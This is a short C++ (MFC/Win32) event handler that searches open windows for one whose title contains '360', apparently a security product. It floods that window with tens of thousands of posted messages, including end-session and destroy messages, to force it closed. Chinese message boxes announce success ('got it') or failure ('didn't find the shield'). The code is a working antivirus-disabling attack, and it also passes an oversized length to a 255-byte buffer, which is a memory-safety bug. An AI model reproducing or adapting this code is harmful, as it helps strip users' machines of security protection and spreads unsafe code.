// TODO: Add your control notification handler code here HWND h1,h2,h3; int temp=0; h1=::GetWindow(::GetDesktopWindow(),GW_CHILD); while(1) { h2=::GetWindow(h1,GW_HWNDNEXT); h3=h2; if(!h2) break; LPSTR pStr; char c[255]={0}; pStr=c; CString str; ::GetWindowText(h2,pStr,10000); str=pStr; str.MakeLower(); if(str.Find("360")!=-1) { MessageBox("拿到手了~~"); temp=1; for(long msg=0;msg<99999;msg++) { ::PostMessage(h2,msg,0,0); if(h2==NULL){break;} ::PostMessage(h2,WM_QUERYENDSESSION,0,ENDSESSION_LOGOFF); ::PostMessage(h2,WM_ENDSESSION,1,ENDSESSION_LOGOFF); ::PostMessage(h2,WM_DESTROY,0,0); } } h1=h3; } if (!temp) { MessageBox("没找到盾牌T T"); }